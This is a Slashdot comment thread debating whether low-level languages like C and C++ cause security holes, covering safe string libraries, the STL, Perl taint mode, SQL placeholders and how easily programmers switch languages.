      With the certification, it shows that you know quite a bit about a specific language, but also it shows that you spent the time and effort (and $$$$$$) to get certified. To companies, it makes you an expert in that language.

      Well, the cost of certification varies widely - I've noticed that Sun certification seems a lot cheaper than Microsoft certification, so it would be easier to get (assuming equal skills in both areas).

      I suppose in general the renisannce coder has an advantage over the "one-language" coder, but perhaps not when it comes to getting on specific projects.

      If I see a job coming up that I need certification for and I have the chance to get that certification beforehand, then yes, I'd go for it.

      I'm just a bit wary of handing over money (I don't have that much of it right now) if I don't need to in order to apply for a job.

      (As an aside I'm doing courses in maths at the moment - both pure and applied. Those take up a certain amount of time and money too.)

    13. Re:So true by Strigiform · · Score: 1

      He's written 3 volumes, most of which can be learned in first year computer science classes (linked lists, hash tables, etc).

      There's a lot more to The Art of Computer Programming than a few data structures! There are a trememdous number of algorithms (e.g. topological sort, Batchers' parallel sort) and a lot on the analysis of algorithms. Chapter 3 is a good example - it's got the most comprehensive discussion of pseudo-random number generators I've seen.

      Think of it as an encyclopedia as well as a text on analysis of algorithms.

  10. It's not about conceit by lavalyn · · Score: 0, Troll

    It's about default reality.

    In Windows, the main user is often Administrator, and all services run either as Administrator or System. In Unix, most of us use a non-root account (though we may have access to root) and most services are run by its own user, like httpd, or nobody. Combine this with default world-write permissions of "allow" in Windows and "0644" in Unix.

    This still doesn't mean much for a script kiddie h4x0r with a rootkit ready to go, but damage is at least slightly mitigated.

    --
    Doing the Right Thing should not be preempted by making a buck.
    1. Re:It's not about conceit by Anonymous Coward · · Score: 0

      > all services run either as Administrator or System.

      Bzzzt. Open TaskMgr. Study. Learn.

  11. Languages not necessarily the problem by Ed+Avis · · Score: 3, Insightful

    The thing is, you can program in a low-level language yet still avoid bugs like buffer overflows and failing to handle NUL characters in strings.

    In C, it just requires using a library like glib for your string handling, and some similar library to provide bounds-checked arrays.

    In C++, it means avoiding char * strings like the plague and using the standard 'string' class instead; similarly using 'vector' or other STL containers instead of C-style arrays.

    I think it would help if there were a standard, minimal C string library, and if existing APIs including system calls were given equivalents using these. So open() could take a pointer to a 'const struct String' rather than a char *. Having done this, the existing functions like strlen() and strdup() could be declared deprecated. There are plenty of decent string manipulation libraries for C, what's lacking is a single one library which everyone can agree to support.

    At least in C++ there is a standard 'string' type, although some people insist on reinventing the wheel (Microsoft's MFC with CString, Qt with QString).

    --
    -- Ed Avis ed@membled.com
    1. Re:Languages not necessarily the problem by Anonymous Coward · · Score: 0

      In C, it just requires using a library like glib for your string handling

      It doesn't even require that. Just use the "n" counterparts, E.g. strncmp() instead of strcmp(), strncpy() instead of strcpy() etc. That, and some brains.

      There is a reason for reinventing the C++ string class. These days its all about multibyte characters (E.g. UTF-8) but string only does the old ASCII 8bit. If you need to manipulate Unicode strings, you need a new string class.

    2. Re:Languages not necessarily the problem by Deth_Master · · Score: 1

      That's what I'm saying. I mean he (the author of the article) even shot himself in the foot by claiming that he sees bugs in higher level web-languages like PHP.
      Just because you use a high level language, if you suck at coding, your program will have security holes.

      Referring to the standard, minimal C string library. I used one in the past. I believe it was called APSTRING. It was a nice string object and and it had a method to make it compatible with those older functions that wanted char *'s. Making one library that everyone will agree to support will be difficult, because they all have slightly different implementations of basically the same thing. A defacto standard could be made if you started using one and kept on using it.
      There's nothing wrong with writing code in C++ if it's written well. Having access to the lowlevel stuff is handy, but if you don't need it, don't use it. Use the more advanced, safer, if slightly slower libraries. Heck, sometimes (not always) they're even easier to work with.

      --
      find ~your -name '*base* | xargs chown :us
    3. Re:Languages not necessarily the problem by csguy314 · · Score: 0

      mod parent up.
      A bad coder will be a bad coder, regardless of the language they use.

      --
      This is left as an exercise for the reader.
    4. Re:Languages not necessarily the problem by sqlrob · · Score: 1

      Why?

      Remember the definition of string is really:
      std::basic_string<char>

      And there's already
      std::wstring (which is std::basic_string<wchar_t>)

      Stick with manipulation in wchar_t (UTF-16), dump it as UTF-8 only on output. It's too easy to screw up on MBCS characters and add a hole.

    5. Re:Languages not necessarily the problem by Anonymous Coward · · Score: 0

      What if I have a widget that takes UTF-8 input and needs to put it into a string? How can I promote from UTF-8 to UTF-16, without bringing down a whole world of pain on myself?

    6. Re:Languages not necessarily the problem by smallpaul · · Score: 1

      That's what I'm saying. I mean he (the author of the article) even shot himself in the foot by claiming that he sees bugs in higher level web-languages like PHP.

      No he didn't. The point is that a good programmer can reduce their risk by using a high level language. They can't eliminate it. According to your logic, because people can get killed in Volvos, Volvos are as safe as motorocycles.

      Just because you use a high level language, if you suck at coding, your program will have security holes.

      Brilliant insight. Unfortunately redundant.

      Referring to the standard, minimal C string library. I used one in the past. I believe it was called APSTRING. It was a nice string object and and it had a method to make it compatible with those older functions that wanted char *'s. Making one library that everyone will agree to support will be difficult, because they all have slightly different implementations of basically the same thing.

      Another good reason to move on to a more modern language.

      A defacto standard could be made if you started using one and kept on using it.

      How would it be a defacto standard if only one person used it? After more than 10 years of C++ don't you think that such a thing would have arisen if it was going to?

    7. Re:Languages not necessarily the problem by sqlrob · · Score: 1

      Depends on platform:

      ICS (portable)
      MultiByteToWideChar (Windows)
      Roll your own from the standard (potentially dangerous). However understanding the standard enough to do this, even if you don't is a good idea to find holes (e.g. never compare UTF-8 chars. There are several representations of some characters)

    8. Re:Languages not necessarily the problem by Zathrus · · Score: 1

      How would it be a defacto standard if only one person used it? After more than 10 years of C++ don't you think that such a thing would have arisen if it was going to?

      It has. It's called the STL, and when used properly it fixes nearly every complaint the columnist had.

    9. Re:Languages not necessarily the problem by Beryllium+Sphere(tm) · · Score: 1

      What he said.

      Tainting support ala Perl would be another great thing to have in a widely available library. Lazy programmers might still cast 'struct Poisonedstringfullofshellcode' to 'struct String' but at least it wouldn't happen by accident.

    10. Re:Languages not necessarily the problem by Ed+Avis · · Score: 1
      Tainting support ala Perl would be another great thing to have in a widely available library. Lazy programmers might still cast 'struct Poisonedstringfullofshellcode' to 'struct String' but at least it wouldn't happen by accident.

      The reason Perl needs taint mode at all is because it does so many things in a blatantly insecure way. For example Perl's system() with a single string will pass that string to the shell, so if you do
      system("grep $pattern $in >$out");
      then people can smuggle things into $pattern or the other variables. The problem is caused by string interpolation; it's the same attack as 'SQL smuggling' in websites that construct their SQL code by interpolating strings. Now, in Perl there is a multi-argument form of system() which passes the strings directly to the exec() system call, so you can say
      system('grep', $pattern, $in);
      and you're immune to any smuggling attacks. But how do you specify the output redirection to the file $out? You can't, at least not without several lines of code. This is the trouble; the insecure way of doing things has become so common and people are so used to it, that there is no effort to provide a more secure but equally convenient way to accomplish the same task. At least, not as part of the standard Perl distribution, and not promoted in common Perl textbooks. Instead we get the workaround of 'taint mode' so you can check for the characters which cause the magic behaviour.

      (The same thing explains why many Perl scripts break when given pathnames containing spaces - despite the fact that the space character has always been legal in Unix filenames and is common on other platforms. The scripts are relying on string interpolation instead of expressing what they want in real data structures.)

      I'm pleased to say that in recent Perl versions a similar security hole has been fixed: instead of saying
      open FH, $file;
      which would let the user give a filename beginning with '>' and trick the program into writing somewhere rather than reading, you can now say
      open FH, '<', $file;
      which is safe. Again the problem was caused by adding 'cool features' based on looking inside strings. The file mode '<' should not be fetched from the filename string, any more than an I/O redirection '<' should be fetched from the string passed to system(). Putting them as separate arguments avoids the security hole and is no less convenient for the programmer.

      In most compiled languages, a taint mode is not necessary because the language and libraries don't do 'useful' things based on magic characters in strings you happen to pass. Tell C to open() a file called '>foo' and it will try to do just that. This is much more sensible IMHO.

      --
      -- Ed Avis ed@membled.com
    11. Re:Languages not necessarily the problem by Suslik · · Score: 1

      There is no substitute for a competent programmer if you wish to write secure code. There is equally no substitute for a well-designed language, nor for effective tools to support programming in that language.

      The safety-critical software community has been tackling these very issues for the past fifteen years or more; the security community is sometimes guilty of re-inventing the safe software wheel, and doing it badly. Safety engineers have already come up with the MISRA C subset (here) and tools to enforce it, but the general conclusion appears to be that C (and C++) are inherently unsafe languages and there's only so much you can do to patch over the problems.

      If programmers are serious about wanting to write correct code, they are going to have to check their egos at the door and use tools that tell them where they are going wrong as early as possible. My personal suggestion is the SPARK Ada subset and associated toolset, but then I'm biased. :-)

      Take a little longer over your code. Get it right first time. Write your tests before you write the code. Use static analysis tools that are proven to pick up real errors. But enjoy what you're doing, because the best programmer in the world is still going to produce crap code if he's bored...

      Adrian

      --
      Adi: Inveterate mathmo, Christian, BOFHlet hubbie and Perl lover.
    12. Re:Languages not necessarily the problem by kawika · · Score: 1

      The reason Perl needs taint mode at all is because it does so many things in a blatantly insecure way...In most compiled languages, a taint mode is not necessary because the language and libraries don't do 'useful' things based on magic characters in strings you happen to pass.

      Have you ever used a SQL library that lets you build and pass queries to the server? There are plenty of SQL injection vulnerabilities that would have been thwarted by taint checking in the language. Applications are filled with lots of other "little languages" that can be made to interpret unchecked input dangerously.

    13. Re:Languages not necessarily the problem by Ed+Avis · · Score: 1

      Yes, I specifically mentioned SQL stuffing vulnerabilities in my above post. The correct way to use SQL is not with string interpolation but using placeholders - often, these are 'variables' which begin with a colon, and are replaced with the value desired by the database access library.

      It's not the SQL language which is at fault, it's the library or program which relies on gluing together strings to make an SQL query. If you wrote a program to generate C code by gluing together strings, compile it and then execute it, it would have similar vulnerabilities unless you wrote it carefully.

      'Taint checking in the language' is impossible: the SQL language knows nothing about the way in which the query string might have been put together. It's just a string of code. After all, SQL has no provision for reading user input or getting data from a web form, so how could it do taint checking?

      --
      -- Ed Avis ed@membled.com
    14. Re:Languages not necessarily the problem by quantum+bit · · Score: 1

      I believe it was called APSTRING.

      (the header of all of my programs)
      typedef apstring gaypstring;
      typedef apvect gaypvect;

      Ah, yes, gaypstring. I remember it well from my high school CS class. There was a bug in it that caused a certain series of string copies and concatenations to end up with the string having a length different than the actual size of the memory buffer. It was pretty rare, but could cause memory corruption and odd results. I remember banging my head against the wall trying to find the bug in one of my programs before I finally traced into the library itself and located the problem (somebody forgot to update the string length during a copy in the case that it was shorter than it used to be).

      There was also gaypvect that did an unnecessary new[] and free[] for almost every single operation. I swear it ran in like O(10*n^2) time or something. I got so fed up with it that I wrote a class called nongayvect that used a pretty simple-minded chuncked allocator and realloc() where possible. On average, even that was 500%-1000% faster, at least on a benchmark that created and copied random arrays. Normal programs showed a perceptible increase in speed.

      Of course, the whole class was pretty bad. The "book" was a beta version written by a Pascal programmer, printed out chapter by chapter, and was full of errors. He even slipped a couple times and used pascal syntax (a := b) in C++ programs!

      I guess my point is that even "safe" APIs sometimes have bugs. There have been Java VM implementation problems in the pase that let Java programs break out of the sandbox and execute native code. I'm sure it's only a matter of time before something similar happens with C#. Being careful and using tools to help make things more secure is a Good Thing(TM), but don't assume that the API is infallible. Remember that the more layers of abstraction you add, the more complex things become, and the more likely it is that there is a bug or an invalid assumption somewhere in there.

    15. Re:Languages not necessarily the problem by Anonymous Coward · · Score: 0

      strncpy() is crappy. It won't null terminate the destination unless there's a null character in the first n bytes of the source. Real secure. Plus, it pads the destination with nulls if n is greater than the length of the source. Oh yeah, that's REAL useful.

      And strncmp() is hardly more secure than strcmp(). The only time it would be is if you happen to pass a pointer to something that's not a string. If you're comparing two strings, strcmp() is just fine, security wise.

      If you really want to construct strings in a secure manner, use snprintf() (It's in C99, not C89, but glibc, at least, has had support for it for a while now.)

    16. Re:Languages not necessarily the problem by Anonymous Coward · · Score: 0

      They may make certain things appear easier, but a lot of the time your blessed templates and classes and whatnot end up being a burden when you could be doing a simple pointer loop...

  12. Hey firewall boy... by ReidMaynard · · Score: 1
    SecurityFocus columnist Jon Lasser is the author of Think Unix (2000, Que), an introduction to Linux and Unix for power users. Jon has been involved with Linux and Unix since 1993 and is project coordinator for Bastille Linux, a security hardening package for various Linux distributions. He is a computer security consultant in Baltimore, MD.

    Jeeze, he isn't even a programmer..

    --
    -- www.globaltics.net

    Political discussion for a new world

    1. Re:Hey firewall boy... by ksw2 · · Score: 1
      Jeeze, he isn't even a programmer..

      I would think that writing a massively popular security-oriented program (Bastille) would qualify him to comment on secure programming, wouldn't you?

    2. Re:Hey firewall boy... by IPFreely · · Score: 1
      Jeeze, he isn't even a programmer..

      What makes you say that?

      Experienced professionals don't put programming languages on their resumes, they put job titles and responsabilities. You don't get that kind of resume unless you can do all the work that goes with it, including programming.

      --
      There is nothing so silly as other peoples traditions, and nothing so sacred as our own.
    3. Re:Hey firewall boy... by jdreed1024 · · Score: 1
      Jeeze, he isn't even a programmer..

      See, this is exactly what he's talking about. Just because he doesn't code day in and day out doesn't mean he can't understand the vulnerabilities low-level languages introduce.

      Basically, I see his argument as an extension of the "coders vs. scripters" discussion that took place a few weeks ago. A lot of people seem to think that it's not programming unless it's written in C/C++ (and sometimes Java). Which is, of course, complete bullshit.

      For example, I came across a program recently written by someone who had my job many years ago. All it did was read a string from STDIN, and write it to one of three files, based on the name with which the program was called. And it was written in C. And it's string handling was terrible, and had it been a net application, it would have gotten 0wnz0red very, very quickly. So why was it written in C? Granted, Perl wasn't very robust when this was written, but the same functionality could have been accomplished in less lines with a shell script. I promptly re-wrote it in Perl, with less lines of code, more functionality, and more sanity-checking.

      Now, the person who wrote it may very well have been a crappy programmer - I don't know, since he's no longer around the office - but the point is that it's so much easier to shoot yourself in the foot in C than in most other languages. When you code in C/C++, you need to pay extra attention to what you're doing, and examine the code much more closely than you would in, say, Perl or Python. Sure, you'll say, all code should be audited carefully. That's definitely true, but the consequences of sloppy coding and quick or non-existent audits are far more serious if you're using C than if you're using Perl, Python, or even Java.

      Is C therefore inherently bad? Of course not. Is it possible to create secure, well structured, and readable code in C? Definitely. Should the Linux kernel be re-written in PHP or Perl? Hell no. It's all about using the right tools for the job. I see a lot of posts with sarcasm such as "Oh, sure I'll write my next mail client in VB - that'll be an improvement". And they're missing the point completely. He's not saying C is bad and Perl is good. He's saying that there are a lot of cases out there where a language is used because it's cool or l33t, and not because it's the right language for the job. Programming decisions should be made based on security, ease of coding, and ease of future support. You may think it's hella cool to build everything from the ground up in C, but when another language has perfectly good implementations of what you're trying to do, and those implementations have been tested and used by a wide user base, why bother re-writing them?

      Sure the people he's targeting in the article may be in a minority (though I expect it's a larger group than people think), but the points he makes are valid ones. Once everyone learns to treat programming languages as tools, and not status symbols, these problems will disappear.

      --
      There is no sig, there is only Zuul.
  13. Yeah, but..... by IamTheRealMike · · Score: 1
    To be honest, I've thought for quite some time that people should be moving away from C and C++ for most stuff on UNIX, simply for the productivity benefits it would bring - the added security is OK, but as pointed out in the article, high level languages aren't a silver bullet.

    Unfortunately, the vast majority of our desktop software on Linux is still being written in C or C++. Why? Well, those are the "native" languages of the two big desktop projects. C++ was chosen in KDE because, well, that's what Qt is. C was chosen in GNOME, ironically partly because it's easier to bind to other languages (when done properly).

    I think the one of the reasons more software isn't written in higher level languages is that bindings are a PITA - not only do you have to manually produce them, but in the absence of solid dependancy management for all Linux distros, it grows your dependancy list as well. See the fate of Straw (an python RSS app) for an example of this.

    What's really needed is a decent component model, making it easier to choose the right language for the job, instead of choosing a langauge because that's what all the libraries are written for, or because that's what everybody else uses.

    1. Re:Yeah, but..... by Ed+Avis · · Score: 1

      The article talks about three big classes of vulnerabilities: format string bugs, buffer overruns, and input validation bugs. The first two need not ever occur in a C++ program: the STL containers do not use fixed-size buffers, and the STL input/output routines don't use format strings, printf() or scanf(). If you deliberately ignore what the C++ standard library provides for you and go back to C library routines and fixed-size arrays you become more vulnerable to these attacks. (Out-of-bounds subscripts can still happen with the STL, unless you are using an implementation which does bounds checking on vector subscripts and the like. IMHO this should be the default, manually turned off for speed-critical code.)

      Even in C there is a good choice of libraries for string manipulation and containers which don't allow buffer overruns.

      It's not C and C++ which are at fault, it's the C *standard library*.

      --
      -- Ed Avis ed@membled.com
    2. Re:Yeah, but..... by smallpaul · · Score: 1

      It's not C and C++ which are at fault, it's the C *standard library*.

      The language takes some of the blame. What other programming language in widespread usage lacks a built-in, pointer safe string class?

    3. Re:Yeah, but..... by keyslammer · · Score: 1

      the added security is OK, but as pointed out in the article, high level languages aren't a silver bullet.

      No, but they do remove several major classes of vulnerabilities that have a long history of being exploited. There's definitely a security advantage to them.

      What's really needed is a decent component model, making it easier to choose the right language for the job, instead of choosing a langauge because that's what all the libraries are written for, or because that's what everybody else uses.

      I quite agree. I seem to recall that there are several of these out there, but none has really caught on.

      There's another advantage to low level languages: performance. Nothing runs as fast and loads as quick as machine code, and that's very important for something like "inet" and it's services: you want them to be always available, always responsive, and to consume as little of the systems resources as possible. A Java app with its 9 meg footprint just doesn't cut it.

      I think the high level stuff is the way to go in the application space, but system services justify the extra time and effort (and risk) of being written in C.

    4. Re:Yeah, but..... by keyslammer · · Score: 1

      Tools like the STL definitely help, but they don't offer a guarantee against these kinds of problems. Like you said, you can still reference out of bounds indexes. Furthermore, you can still reference uninitialized pointers, double-free memory, and use objects before they're initialized.

      Also, these kinds of abstractions have performance costs. At some point, these costs are going to mount until something like Java or .NET becomes competitive in terms of speed and memory footprint.

      At their core, C and C++ are low-level programming languages. They're powerful because they're dangerous, and you should only use them when the situation demands it.

    5. Re:Yeah, but..... by Ed+Avis · · Score: 1
      What other programming language in widespread usage lacks a built-in, pointer safe string class?

      Well, C++ lacks one, it is provided by the standard library. I'm pretty sure that most functional languages like ML and Haskell do not have a built-in string type but instead get it from the standard library. And arguably even Java's String is not built in (not that I'd suggest trying to use an alternative string class). Like I said, it is not the language itself but the library it is provided with. There's no need for a type like 'string' to be built into the language itself, it can be, but a decent library can also provide safe ways of doing string handling.

      --
      -- Ed Avis ed@membled.com
    6. Re:Yeah, but..... by Ed+Avis · · Score: 1

      Yes you _can_ still reference uninitialized pointers and double-free memory in C++, but only if you write low-level pointer-manipulating code to start with. Most modern C++ code will use objects created on the stack, references, and smart pointer classes like std::auto_ptr or boost::shared_ptr.

      The advice you give about C and C++: 'They're powerful because they're dangerous, and you should only use them when the situation demands it', applies equally to pointers in C++. The fact that you _can_ write unsafe code in a programming language is not a reason to avoid it. A bad language or library is one that forces you to resort to low-level operations to get any work done, or makes it seductively easy to do unsafe things and difficult to do the safer equivalents.

      --
      -- Ed Avis ed@membled.com
    7. Re:Yeah, but..... by keyslammer · · Score: 1

      The kinds of usage patterns that you recommend have trade-offs associated with them: for example, if you create objects on the stack and use copy instead of reference semantics when moving them into other data structures, you're going to hurt your performance and bloat your code. I'm not saying that in general you shouldn't do these things, but there are definitely situations where passing around pointers and using memcpy() still makes more sense.

      I should also note that I am a huge fan of auto_ptr and reference-counting templates in general, but there are a lot of subtleties to their use. For example, they don't deal with inheritence well, and there's the question of whether or not to expose the underlying pointer (allowing abuse) or not (requiring users to pass around references or copies of the managed pointer in situations where the raw pointer would be more efficient).

      And that leads to my more general criticism of C++: coding in it is too much of an art. You need a greater level of understanding than you can expect from most programmers, and most people seem to write either inefficient code or buggy code (usually both).

      I respectfully submit that the fact that you _can_ write unsafe code in a programming language _is_ a reason to avoid it! Particularly if the language makes it easy for you to shoot yourself in the foot and there are other languages available that a) don't have this weakness and b) allow you to code faster in the first place.

    8. Re:Yeah, but..... by smallpaul · · Score: 1

      Well, C++ lacks one, it is provided by the standard library. I'm pretty sure that most functional languages like ML and Haskell do not have a built-in string type but instead get it from the standard library.

      That's not true. Any language that has a string literal syntax has built-in strings, including C, C++, Haskell, ML, Python, Java, Scheme, etc. That's in the language...part of the grammar. The problem is that C's built-in string type is just a pointer-unsafe character array. That was probably not even the right choice in 1972, (even braniacs can make mistakes) but it certainly is not today.

    9. Re:Yeah, but..... by Ed+Avis · · Score: 1

      No I meant that C++ doesn't have a 'safe' string class, responding to the original post. But it is provided by the standard library, so that's okay. The point being that it's not required for safe strings to be built into the language itself.

      Good point about the other languages though. Although in the case of Haskell and ML it becomes a bit moot what is 'built in' and what isn't, since once you have algebraic data types, creating lists and strings is trivial.

      --
      -- Ed Avis ed@membled.com
  14. Bloat my Mail by oliverthered · · Score: 1

    Jesus, I get enough bloat in my email just because of spam. Now this guy want's bloat from the ground up.

    Processing power cheap, no way, all you need is 640k, that's what I say.

    What he should be saying is re-use code and libraries to avoid bugs.

    --
    thank God the internet isn't a human right.
    1. Re:Bloat my Mail by usotsuki · · Score: 1

      640K? Whatever happened to those halcyon days when 64K was a lot of memory, and Terse-80s, CP/M machines and 40x24 monocase terminals like that of a stock 48K Apple ][+ r00led the world? *g*

      -uso.

      --
      Dreams, dreams, don't doubt dreams, dreaming children's dreaming dreams. Sailor Moon SS
    2. Re:Bloat my Mail by Anonymous Coward · · Score: 0

      How about my spiffy 4K PDP-8? With just a front panel and no terminal!

    3. Re:Bloat my Mail by usotsuki · · Score: 1

      !!!

      PDP-8? Sounds more like an Altair 8800. *g*

      -uso.
      Never used a computer with less than 64K RAM.

      --
      Dreams, dreams, don't doubt dreams, dreaming children's dreaming dreams. Sailor Moon SS
  15. Ignoring certain realities by binaryDigit · · Score: 5, Insightful

    After programmers take responsibility, perhaps they can consider using the right tool for the job, rather than the right tool for the job of their dreams.

    I don't think this macho thing plays into it nearly as much as he states. I think it has to do with comfort and laziness. I've been programming in C/C++ for over 15 years, so obviously, if I have a programming task to tackle, I will lean towards using those languages. I can do a minimal amount of vb, so if I need to slap together a ui, I can, but not anything that did anything interesting. If I have a task, how much time should I spend learning a new language if that language is better suited for the task than a language I know? Since I'm new to this language, how much worse is the code going to be than what I could have written in a less suitable language?

    I'm not saying that I'm against learning new languages, but a programmer can only realisticly be "good" at a small set of languages. And the realities are that unless I'm working on a pet project, I don't have the time to learn something new or try to come back up to speed on a language I last used two years ago. Perl is an excellent example in my case, I don't know a lick of it. If I have simple text processing to do, I use the "simpler" text utilities (awk and sed primarily), unless the problem is very simple, in which case I fire up my text editor. If it's more complex, then I use C/C++. Could it be done quicker in Perl, maybe, maybe not. If by quicker you allow me to ignore the ramp up time to learn the language. If I were doing this type of thing all the time, then the rampup could be amortized in the long run. If it's onsie twosie, then forget it, out comes the c compiler.

    1. Re:Ignoring certain realities by smallpaul · · Score: 1

      And the realities are that unless I'm working on a pet project, I don't have the time to learn something new or try to come back up to speed on a language I last used two years ago.

      The author is talking about significant applications, not little toy scripts. You are going to be very familiar with (and maybe even expert in) the language used to build a significant application by the time you are done programming it. But another point the author is making is that once you learn a high level language you'll find you can use it for a lot more than you thought. Many programmers get away with using high level languages for 95% of their jobs. And those jobs can involve writing significant (e.g.) ecommerce, content management or client side apps.

      Don't get me wrong. Linux is not going to use Python as his major day to day programming language. But I wouldn't be surprised if even he finds the need to program something other than the Linux kernel often enough to justify skill in a higher level language.

    2. Re:Ignoring certain realities by Anonymous Coward · · Score: 0

      There is also the matter of code reuse. The columist isn't a coder; and it shows. He complains that there is "no excuse" for writing a mail client in C or C++ these days, but completly ignores the fact that a lot of code has to bind to external libraries. Think about it, if you're writing a mail client and you have a set of libraries to do the IMAP and POP3 connections which have a C API, and you're targetting a platform that uses C++ for the GUI, what will you use? ADA? Or will you just use C++ and some C to bind to the libraries?

      In next weeks column: Pigs just refuse to fly because they're lazy, I tell you

    3. Re:Ignoring certain realities by StrawberryFrog · · Score: 1

      I've been programming in C/C++ for over 15 years, If I have a task, how much time should I spend learning a new language if that language is better suited for the task than a language I know?

      Java and C# are based on a subset of C++. If you know C++ well, you should be going full steam in these languages within 2 weeks. If your task is long enough, it might be worth it.

      --

      My Karma: ran over your Dogma
      StrawberryFrog

    4. Re:Ignoring certain realities by binaryDigit · · Score: 1

      Java and C# are based on a subset of C++. If you know C++ well, you should be going full steam in these languages within 2 weeks. If your task is long enough, it might be worth it.

      True, but are Java and C# truely high level enough to warrant the time to learn their environments (remember, the development environment, esp with vm based languages, is often more than half the battle of learning "the language"). BTW, I don't do Java, but my company is moving slowly in the .net world so I've already started into the c# thing.

    5. Re:Ignoring certain realities by oznet · · Score: 1

      I would say that you're missing out. The very high level languages like Perl and Python offer a whole lot. Especially text processing with Perl, nothing can touch it for quickly developing small and "throw-away" utilities.

      I believe every programmer should know at least one very high level language. I've seen too many "bare metal" people (there's your machoism) take 10's of hours to write something that could've been done in a couple hours in Python. And performance didn't matter one lick.

      The article is kinda off-base though because at the start he is talking about system level vulnerabilities but then later he is talking about mail and IRC clients which don't normally create system level security problems. The problem is many system level daemons and such actually are performance critical. True that your IRC client can and probably should be written in a safer language However, such a client application doesn't really effect security as much as a system daemon. Of course mail clients are a grey area as we're all too aware of the exploits there.

      As for easily checking your C/C++ code, I highly recommend Valgrind (sorry don't have a link to the most recent stuff; "apt-get install valgrind" ;). It has some problems with the nVidia hardware OpenGL driver, but if you temporarily use Mesa to test then Valgrind works great. Valgrind does not even require you to recompile or link against anything special.

      We really need a BoundsChecker type application for Linux though (and no, Purify doesn't count).

    6. Re:Ignoring certain realities by fitten · · Score: 1

      Computer Languages are not that difficult to learn (for me at least - YMMV). If you can understand what is going on under the hood (since you know C, I would assume that you know something of it) then it all falls out in the end. BTW: this is why I think all programmers should have to learn assembly language of some flavor. Once you understand things at that level, there is no "magic" to programming.

      I programmed in C/C++ for about 15 years as well. It took me less than a week to pick up C# and Java. The framework for each itself took a little longer (two weeks to do the things I needed). I had already started being productive in writing a J2EE app within two weeks of being asked to do so (the designs were already done) after not having known what the acronym J2EE even meant.

      Buy a book or find a good online reference, know how to use various search engines, draw parallels with what you have done before (not implementation-wise but design-wise), find example code to look at and run to observe, and pick a smaller/simpler section of functionality you want to implement to start with.

    7. Re:Ignoring certain realities by Anonymous Coward · · Score: 0
      The very high level languages like Perl and Python offer a whole lot. Especially text processing with Perl, nothing can touch it for quickly developing small and "throw-away" utilities.

      shell/awk/grep/sed can often accomplish the same quick utilities w/ less learning overhead (like you don't already use shell/grep).

    8. Re:Ignoring certain realities by kawika · · Score: 1

      Java and C# are based on a subset of C++. If you know C++ well, you should be going full steam in these languages within 2 weeks.

      Shirley, you must be joking. Yes the syntax is similar, but they differ greatly in their class libraries and important issues like memory management. The only way you could be going full steam in two weeks is if you decide to reinvent all the wheels yourself with your own code, rather than taking the time to learn the infrastructure around each language.

    9. Re:Ignoring certain realities by StrawberryFrog · · Score: 1

      Shirley, you must be joking. Yes the syntax is similar, but they differ greatly in their class libraries and important issues like memory management

      I personally went from Delphi to Java (after having read 1 book on Java). Time to learn the syntax and OO model was days not weeks as it was so familiar.

      As for learning about garbage collection, it's like learning to drive an automaticly geared car when all you know is a stick-shift. You don't have to learn to do anything new, just remember not to do some stuff that used to be important.

      The rest of the time that I gave is to learn a sizable subset of the class library. Be honest, if you are anything like me and have been using a class library for a year or 2, you don't know it backwards - you know the general outlines and where to look up the details.

      OK, maybe more if you are doing J2EE, stateless buzwordbeans or something, but that's domain-specific knowledge, not language-specific knowledge.

      --

      My Karma: ran over your Dogma
      StrawberryFrog

    10. Re:Ignoring certain realities by Anonymous Coward · · Score: 0

      Perl and Python are for Linux users that don't know how to use shell/awk/grep/sed.

    11. Re:Ignoring certain realities by gdr · · Score: 1
      I've been programming in C/C++ for over 15 years ...
      Arrrrg, why oh why do people lump together their C and C++ experience like they were the same language.

      I've interviewed programmers who claim to have 10 years of C/C++ experience that have gone something like this.

      Me: What's odd about vector<bool>?
      Interviewee: What bool?
      Me: vector<bool>
      Interviewee: Vector what?
      Me: vector<bool>!
      Interviewee: What what?
      Me: Get the hell out of my office!

      Ok, that's an exageration, but it seems that a lot of C programmers think that compiling C on a C++ compiler makes them a C++ programmer. I'm sure that doesn't apply to you but I couldn't resist the urge to rant. :-)

    12. Re:Ignoring certain realities by Undertaker43017 · · Score: 1

      That is so untrue, but I hear it over and over again, like people believe it to be true.

      If someone has been programming in C/C++ for 15 years, picking up Java (can't speak to C#) in two weeks would be very easy. I know because I did it. Now I switch back and forth, almost on a daily basis.

      The differences are mostly either stuff you don't have to worry about anymore (i.e. memory management) or stuff that now comes with the language (i.e. class libraries), and Javadoc is great to learn this functionality. The standard class libraries are the best, since Java comes with everything that C++ should have, no more bending over for RogueWave, or N number of different implementations of he STL!

      The best way to start out with Java (from a C++ bent), IMHO, is take existing C++ programs and port them to Java. If your C++ is good OO (spare me the oxymoron comments, I've heard them all ;), not just "better C" code, this will be easy and get you started in Java very quickly.

    13. Re:Ignoring certain realities by Anonymous Coward · · Score: 0

      Hardly. You can do the exact same things just as easily as shell/awk/grep/sed except you only need to use one tool which makes it even easier. Not to mention those old tools often have broken/retarted quotation syntax.

      I suppose you think the whole autoconf toolset was a good design?

    14. Re:Ignoring certain realities by TheSunborn · · Score: 1

      As far as I remmeber what is odd with Vector is that it might use bit's to store the bool values. (You might belive that Vector store bool objects as an array of bools but it don't.
      Am I right?

    15. Re:Ignoring certain realities by zatz · · Score: 1

      Umm, many other languages can call C libraries. Admittedly, something with internal state and callbacks (like a networking library or GUI toolkit) may present some difficulties.

      Speaking as someone who has used C almost daily for eight years, I would agree that it is an inappropriate tool for most application programming. And better tools do exist; the problem is primarily one of education and inertia.

      --

      Java: the COBOL of the new millenium.
    16. Re:Ignoring certain realities by Cannelbrae · · Score: 1

      A vector of bools isn't a vector... of bools. Its an specialized object which is actually a proxy wrapping objects which it accesses individual bits in.

      Because of this, it is not an stl compliant container; it doesn't support references it what it stores because you can't have references to bit fields.

      As it is non compliant, a better substitute would be a deqeue of bools or a bitset.

      For a much better description, see Effective STL by Meyers.

    17. Re:Ignoring certain realities by Almace · · Score: 1
      I'm not saying that I'm against learning new languages, but a programmer can only realisticly be "good" at a small set of languages.
      As someone who switches between C, VB, asp,php and java on a daily basis I have to disagree. Being a good programer is language independant.
      And the realities are that unless I'm working on a pet project, I don't have the time to learn something new or try to come back up to speed on a language I last used two years ago.

      It is never a waste of time to use the right tool for the right job. Sure I can hammer a nail in with my cell phone but that dosn't make it better than going to the toolshed to find a hammer.
      --
      Remember,democracy never lasts long.It soon wastes, exhausts and murders itself. John Adams (1814)
    18. Re:Ignoring certain realities by metamatic · · Score: 1
      As someone who switches between C, VB, asp,php and java on a daily basis I have to disagree. Being a good programer is language independant.

